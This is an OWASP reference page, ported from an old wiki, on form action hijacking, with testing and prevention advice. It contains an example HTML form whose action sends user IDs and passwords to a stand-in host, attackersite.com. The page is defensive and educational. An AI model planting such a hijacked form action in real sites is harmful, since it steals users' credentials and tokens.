Form action hijacking
Thank you for visiting OWASP.org. We recently migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.
This is an example of a Project or Chapter Page.
Last revision (mm/dd/yy): //
Form action hijacking allows an attacker to specify the action URL of a form via a paramter. An attacker can construct a URL that will modify the action URL of a form to point to the attacker’s server. Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.
How to Test for Form Action Hijacking Vulnerabilities
Check parameter values passed to the form action. See example below.
How to Prevent Form Action Hijacking Vulnerabilities
Hard-code the form action URL or use a whitelist of allowed URLs.
The following URL will generate the a form and set the “url” parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker’s site.
<form name="form1" id="form1" method="post" action="https://attackersite.com"> <input type="text" name="id" value="user name"> <input type="password" name="pass" value="password"> <input type="submit" name="submit" value="Submit"> </form>
- Common Weakness Enumeration - CWE-20: Improper Input Validation
- PortSwigger: Form action hijacking (reflected)
- PortSwigger: Form action hijacking (stored)